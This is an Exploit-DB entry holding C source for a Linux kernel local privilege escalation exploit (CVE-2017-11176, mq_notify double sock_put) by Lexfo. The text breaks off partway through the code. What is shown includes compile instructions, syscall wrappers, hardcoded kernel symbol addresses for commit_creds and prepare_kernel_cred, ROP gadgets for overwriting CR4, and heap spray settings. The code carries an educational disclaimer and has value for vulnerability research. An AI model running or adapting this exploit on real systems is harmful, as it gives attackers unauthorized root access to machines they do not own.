Exploit-DB #45553
Description: Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation
Type: local
Platform: linux
Date: 2018-10-02
Author: Lexfo

Exploit:
/*
 * CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018).
 *
 * DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not
 * use it on a system without authorizations.
 *
 * WARNING: The exploit WILL NOT work on your target, it requires modifications!
 *
 * Compile with:
 *
 *  gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit
 *
 * For a complete explanation / analysis, please read the following series:
 *
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html
 * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html
 */

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sched.h>
#include <stddef.h>
#include <sys/mman.h>
#include <stdint.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

#define NB_REALLOC_THREADS 200
#define KMALLOC_TARGET 1024

#define MAX_SOCK_PID_SPRAY 300

#define MAGIC_NL_PID 0x11a5dcee
#define MAGIC_NL_GROUPS 0x0

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _mmap(addr, length, prot, flags, fd, offset) syscall(__NR_mmap, addr, length, prot, flags, fd, offset)
#define _munmap(addr, length) syscall(_NR_munmap, addr, length)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
#define _getpid() syscall(__NR_getpid)
#define _gettid() syscall(__NR_gettid)
#define _sched_setaffinity(pid, cpusetsize, mask) \
  syscall(__NR_sched_setaffinity, pid, cpusetsize, mask)
#define _open(pathname, flags) syscall(__NR_open, pathname, flags)
#define _read(fd, buf, count) syscall(__NR_read, fd, buf, count)
#define _getsockname(sockfd, addr, addrlen) syscall(__NR_getsockname, sockfd, addr, addrlen)
#define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen)
#define _sched_yield() syscall(__NR_sched_yield)
#define _lseek(fd, offset, whence) syscall(__NR_lseek, fd, offset, whence)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

#define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)]))

// ----------------------------------------------------------------------------

// target specific offset
#define NLK_PID_OFFSET                  0x288
#define NLK_GROUPS_OFFSET               0x2a0
#define NLK_WAIT_OFFSET                 0x2b0
#define WQ_HEAD_TASK_LIST_OFFSET        0x8
#define WQ_ELMT_FUNC_OFFSET             0x10
#define WQ_ELMT_TASK_LIST_OFFSET        0x18
#define TASK_STRUCT_FILES_OFFSET        0x770
#define FILES_STRUCT_FDT_OFFSET         0x8
#define FDT_FD_OFFSET                   0x8
#define FILE_STRUCT_PRIVATE_DATA_OFFSET 0xa8
#define SOCKET_SK_OFFSET                0x38

// kernel function symbols
#define NL_PID_HASHFN         ((void*) 0xffffffff814b6da0)
#define NETLINK_TABLE_GRAB    ((void*) 0xffffffff814b7ea0)
#define NETLINK_TABLE_UNGRAB  ((void*) 0xffffffff814b73e0)
#define COMMIT_CREDS          ((void*) 0xffffffff810b8ee0)
#define PREPARE_KERNEL_CRED   ((void*) 0xffffffff810b90c0)
#define NL_TABLE_ADDR         ((void*) 0xffffffff824528c0)

// gadgets in [_text; _etext]
#define XCHG_EAX_ESP_ADDR         ((uint64_t) 0xffffffff8107b6b8)
#define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3)
#define POP_RDI_ADDR              ((uint64_t) 0xffffffff8103b81d)
#define MOV_RAX_RBP_ADDR          ((uint64_t) 0xffffffff813606d4)
#define SHR_RAX_16_ADDR           ((uint64_t) 0xffffffff810621ff)
#define POP_RBP_ADDR              ((uint64_t) 0xffffffff811b97bf)
#define MOV_RAX_CR4_LEAVE_ADDR    ((uint64_t) 0xffffffff81003009)
#define MOV_CR4_RDI_LEAVE_ADDR    ((uint64_t) 0xffffffff8100328d)
#define AND_RAX_RDX_ADDR          ((uint64_t) 0xffffffff8130c249)
#define MOV_EDI_EAX_ADDR          ((uint64_t) 0xffffffff814f118b)
#define MOV_EDX_EDI_ADDR          ((uint64_t) 0xffffffff8139ca54)
#define POP_RCX_ADDR              ((uint64_t) 0xffffffff81004abc)
#define JMP_RCX_ADDR              ((uint64_t) 0xffffffff8103357c)

#define THREAD_SIZE (4096 << 2)

// ----------------------------------------------------------------------------

struct realloc_thread_arg
{
  pthread_t tid;
  int recv_fd;
  int send_fd;
  struct sockaddr_un addr;
};

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;
  bool is_ready; // we can use pthread barrier instead
};

struct sock_pid
{
  int sock_fd;
  uint32_t pid;
};

// ----------------------------------------------------------------------------

struct hlist_node {
  struct hl